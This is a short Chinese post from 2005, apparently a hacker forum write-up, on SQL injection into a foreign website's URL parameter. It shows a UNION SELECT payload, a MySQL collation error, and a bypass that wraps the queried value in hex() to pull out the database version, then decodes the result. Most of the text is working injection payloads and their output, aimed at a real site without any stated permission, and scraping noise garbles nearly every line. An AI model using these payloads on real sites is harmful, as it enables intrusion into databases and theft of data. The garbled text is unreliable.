本文作者:SuperHei
6 V3 r0 g \- }' | v1 I' ~9 w7 s& ]文章性质:原创
, l( h$ A4 k! Z发布日期:2005-10-18* `" Q/ f$ R/ O( c# b7 \% Y
测试个国外的站时:
0 t1 y" `! n' z( @3 \9 q. gurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/** g3 |0 N) a$ R7 k
返回错误:
$ H/ x" ?, B; T, c' ^: a9 P, f% qIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION') Z5 Z2 \/ x7 D6 x) U/ p
MySQL Error No. 126
! Z; o& E( ]. ~* U' |看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
% w3 z& Z6 |- i' \解决办法:转为其他编码如hex。* [4 s3 u/ a, Z( i- D u" p. X
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*9 p2 n( ^3 s; k' x& G2 X
成功得到hex(version())的值为:
. D3 B1 r9 i; s7 w& Q1 l3 I342E312E332D62657461
# C1 L- N- L5 m j回Mysql查询下得到:
% S* H9 [; ]2 U P' y! Imysql> select 0x342E312E332D62657461;
: t/ q) I; B3 D3 H( x' _2 X6 j9 Y+------------------------+- ?- c% y1 [: p: G- E( c: @: `
| 0x342E312E332D62657461 |
- H% q7 }9 O7 m; h+------------------------+2 ?8 u6 f' u# n% s0 c' o1 B
| 4.1.3-beta |
8 V5 k3 o4 A, i* q0 _, c+------------------------+
, ^ q+ H. B- Z/ i1 row in set (0.00 sec)/ c5 A, N: t3 p* w: a
# B0 x' c7 ^' p: b! a |